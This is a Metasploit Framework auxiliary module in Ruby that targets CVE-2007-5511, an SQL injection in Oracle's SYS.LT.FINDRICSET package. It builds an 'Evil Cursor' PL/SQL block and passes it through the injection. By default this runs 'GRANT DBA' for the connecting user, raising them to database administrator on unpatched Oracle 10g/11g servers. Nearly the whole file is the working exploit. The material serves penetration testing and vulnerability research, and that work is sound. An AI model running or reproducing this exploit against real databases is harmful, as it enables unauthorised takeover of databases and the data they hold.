##
# $Id: lt_findricset_cursor.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::ORACLE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SQL Injection via SYS.LT.FINDRICSET Evil Cursor Method',
			'Description'    => %q{
					This module will escalate a Oracle DB user to DBA by exploiting
					an sql injection bug in the SYS.LT.FINDRICSET package via Evil
					Cursor technique. Tested on oracle 10.1.0.3.0 -- should work on
					thru 10.1.0.5.0 and supposedly on 11g. Fixed with Oracle Critical
					Patch update October 2007.
					},
			'Author'         => ['CG'],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					[ 'CVE', '2007-5511'],
					[ 'OSVDB', '40079'],
					[ 'BID', '26098' ],
					[ 'URL', 'http://rawlab.mindcreations.com/codes/exp/oracle/sys-lt-findricsetV2.sql'],
					[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2007.html'],
				],
			'DisclosureDate' => 'Oct 17 2007'))

			register_options(
				[
					OptString.new('SQL', [ false, 'SQL to execute.',  "GRANT DBA to #{datastore['DBUSER']}"]),
				], self.class)
	end

	def run
		return if not check_dependencies

		p     = Rex::Text.rand_text_alpha_upper(rand(10) + 1)

		cursor = <<-EOF
DECLARE
#{p} NUMBER;
BEGIN
#{p} := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(#{p},'declare pragma autonomous_transaction; begin execute immediate 				''#{datastore['SQL'].upcase}'';commit;end;',0);
SYS.LT.FINDRICSET('.''||dbms_sql.execute('||#{p}||')||'''')--','');
END;
EOF

		begin
			print_status("Sending Evil Cursor and SQLI...")
			prepare_exec(cursor)
		rescue => e
			return
		end
	end

end
